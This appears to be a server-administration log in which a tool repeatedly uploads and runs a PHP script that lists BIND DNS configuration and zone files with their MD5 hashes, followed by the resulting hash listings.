MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:27:26: Establishing a connection
2026-04-30 17:27:26: 

PUT: /tmp/pkp191914

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:27:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp191914; rm /tmp/pkp191914'

2026-04-30 17:27:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:27:40: Establishing a connection
2026-04-30 17:27:40: 

PUT: /tmp/pkp719032

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:27:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp719032; rm /tmp/pkp719032'

2026-04-30 17:27:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
